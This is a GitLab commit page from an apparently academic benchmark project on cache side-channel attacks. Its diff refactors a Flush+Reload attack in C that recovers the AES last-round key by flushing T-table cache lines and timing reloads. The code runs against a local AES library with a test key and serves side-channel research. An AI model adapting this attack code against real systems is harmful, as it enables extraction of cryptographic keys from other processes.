Skip to content
GitLab
Explore
Sign in
Register
Primary navigation
Search or go to…
Project
C
Cache side channel attacks
Manage
Activity
Members
Labels
Plan
Issues
Issue boards
Milestones
Wiki
Code
Merge requests
Repository
Branches
Commits
Tags
Repository graph
Compare revisions
Snippets
Build
Pipelines
Jobs
Pipeline schedules
Artifacts
Deploy
Releases
Package Registry
Container Registry
Model registry
Operate
Environments
Terraform modules
Monitor
Incidents
Analyze
Value stream analytics
Contributor analytics
CI/CD analytics
Repository analytics
Model experiments
Help
Help
Support
GitLab documentation
Compare GitLab plans
Community forum
Contribute to GitLab
Provide feedback
Keyboard shortcuts
?
Snippets
Groups
Projects
Show more breadcrumbs
MATANA
Benchmarks
Cache side channel attacks
Commits
29b2adfa
Commit
29b2adfa
authored
3 years ago
by
Yuxiao Mao
Browse files
Options
Downloads
Patches
Plain Diff
Attack AES last round: prepare for multiple attack type
parent
e251f5b3
No related branches found
Branches containing commit
No related tags found
No related merge requests found
Changes
2
Hide whitespace changes
Inline
Side-by-side
Showing
2 changed files
Makefile
+2
-2
2 additions, 2 deletions
Makefile
src/attack_aes_lastround.c
+24
-7
24 additions, 7 deletions
src/attack_aes_lastround.c
with
26 additions
and
9 deletions
Makefile
+
2
−
2
View file @
29b2adfa
...
...
@@ -28,8 +28,8 @@ cache_profiling_pp8.elf: src/cache_profiling.c cache/cache_l1.c cache/cache_l1.h
victim.elf
:
src/victim.c libaes.so
$(
CC
)
src/victim.c
-Iaes
-L
.
-laes
-o
$@
attack_aes_lastround_fr.elf
:
src/attack_aes_lastround
_fr
.c cache/cache_util.c cache/cache_util.h cache/cache_low.h libaes.so
$(
CC
)
src/attack_aes_lastround
_fr
.c cache/cache_util.c
-Icache
-Iaes
-L
.
-laes
-o
$@
attack_aes_lastround_fr.elf
:
src/attack_aes_lastround.c cache/cache_util.c cache/cache_util.h cache/cache_low.h libaes.so
$(
CC
)
-DWITH_PROCESS_SINGLE
-DWITH_CACHE_FLUSH
src/attack_aes_lastround.c cache/cache_util.c
-Icache
-Iaes
-L
.
-laes
-o
$@
clean
:
rm
-f
--
*
.elf
*
.so
*
.dump
*
.csv
This diff is collapsed.
Click to expand it.
src/attack_aes_lastround
_fr
.c
→
src/attack_aes_lastround.c
+
24
−
7
View file @
29b2adfa
...
...
@@ -5,7 +5,20 @@
#include
"cache_low.h"
#include
"cache_util.h"
// Possible macros:
// - WITH_PROCESS_SINGLE
// - WITH_CACHE_FLUSH
// Only allow some special combination of macro
#if !defined(WITH_PROCESS_SINGLE) || !defined(WITH_CACHE_FLUSH)
#error Please check the macro used. For now, only single process + flush is a valid combination.
#endif
#ifdef WITH_PROCESS_SINGLE
#include
"aes.h"
#endif //ifdef WITH_PROCESS_SINGLE
#define MAX_PLAINTEXTS 3000
#define MAX_CMD_SIZE 100
...
...
@@ -130,6 +143,7 @@ static int calc_score(struct attack_ctx *ctx)
int
plaintext_cnt
=
ctx
->
plaintext_cnt
;
int
threshold
=
ctx
->
threshold
;
#ifdef WITH_PROCESS_SINGLE
uint8_t
aes_user_key
[
16
]
=
{
0x2b
,
0x7e
,
0x15
,
0x16
,
0x28
,
0xae
,
0xd2
,
0xa6
,
0xab
,
0xf7
,
0x15
,
0x88
,
0x09
,
0xcf
,
0x4f
,
0x3c
};
AES_KEY
aes_key
;
// Initialize AES function
...
...
@@ -140,6 +154,7 @@ static int calc_score(struct attack_ctx *ctx)
}
printf
(
"AES round 10 key: %08x %08x %08x %08x
\n
"
,
aes_key
.
rd_key
[
40
],
aes_key
.
rd_key
[
41
],
aes_key
.
rd_key
[
42
],
aes_key
.
rd_key
[
43
]);
// DEBUG
#endif //ifdef WITH_PROCESS_SINGLE
// Initialize score array
memset
(
ctx
->
score
,
0
,
sizeof
(
ctx
->
score
));
...
...
@@ -162,13 +177,18 @@ static int calc_score(struct attack_ctx *ctx)
//printf("DEBUG: Access table Te%d:\n", te);
for
(
int
s
=
0
;
s
<
CACHE_LINE_IN_T_TABLE
;
s
++
)
{
/
* 1. Flush */
/
/ Compute target cache line addr
addr
=
ctx
->
addr_te
[
te
]
+
s
*
ELEMENT_PER_CACHE_LINE
;
#ifdef WITH_CACHE_FLUSH
//printf("DEBUG: Flushing addr %p\n", addr);
clflush
(
addr
);
#endif //ifdef WITH_CACHE_FLUSH
/* 2. Do encryption */
// Encryption
#ifdef WITH_PROCESS_SINGLE
AES_encrypt
(
ctx
->
plaintexts
[
p
],
ciphertext
,
&
aes_key
);
#endif //ifdef WITH_PROCESS_SINGLE
/*
sprintf(cmd, "LD_LIBRARY_PATH=. ./victim.elf %s", ctx->plaintexts[p]);
fp = popen(cmd, "r");
...
...
@@ -185,12 +205,9 @@ static int calc_score(struct attack_ctx *ctx)
pclose(fp);
*/
/* 3. Record T table access */
//access_table_s[te][s] = reload_and_is_access(cache_ctx, te, s, threshold);
// Analyze cache state
uint16_t
count
=
memaccesstime_u16
(
addr
);
access_table_s
[
te
][
s
]
=
count
<
threshold
?
0
:
1
;
//access_table_s[te][s] = count < 500? count : 500;
//printf("%d ", access_table_s[te][s]); //DEBUG
}
// end for s
//printf("\n"); // DEBUG
...
...
@@ -219,7 +236,7 @@ static int calc_score(struct attack_ctx *ctx)
uint8_t
val
=
((
uint8_t
*
)
val_word_ptr
)[
3
-
i
%
4
];
ctx
->
score
[
i
][
ciphertext
[
i
]
^
val
]
+=
access_table_s
[
te
][
s
];
/* increase candidate score!! */
//printf("%02x:%02x ", val, ciphertext[i] ^ val); // DEBUG
//
TODO
: ciphertext XOR T[x] = KEY, val is taking the 1x value of SBox
//
Note
: ciphertext XOR T[x] = KEY, val is taking the 1x value of SBox
val_word_ptr
++
;
// next u32 element
}
}
...
...
This diff is collapsed.
Click to expand it.
Preview
0%
Loading
Try again
or
attach a new file
.
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Save comment
Cancel
Please
register
or
sign in
to comment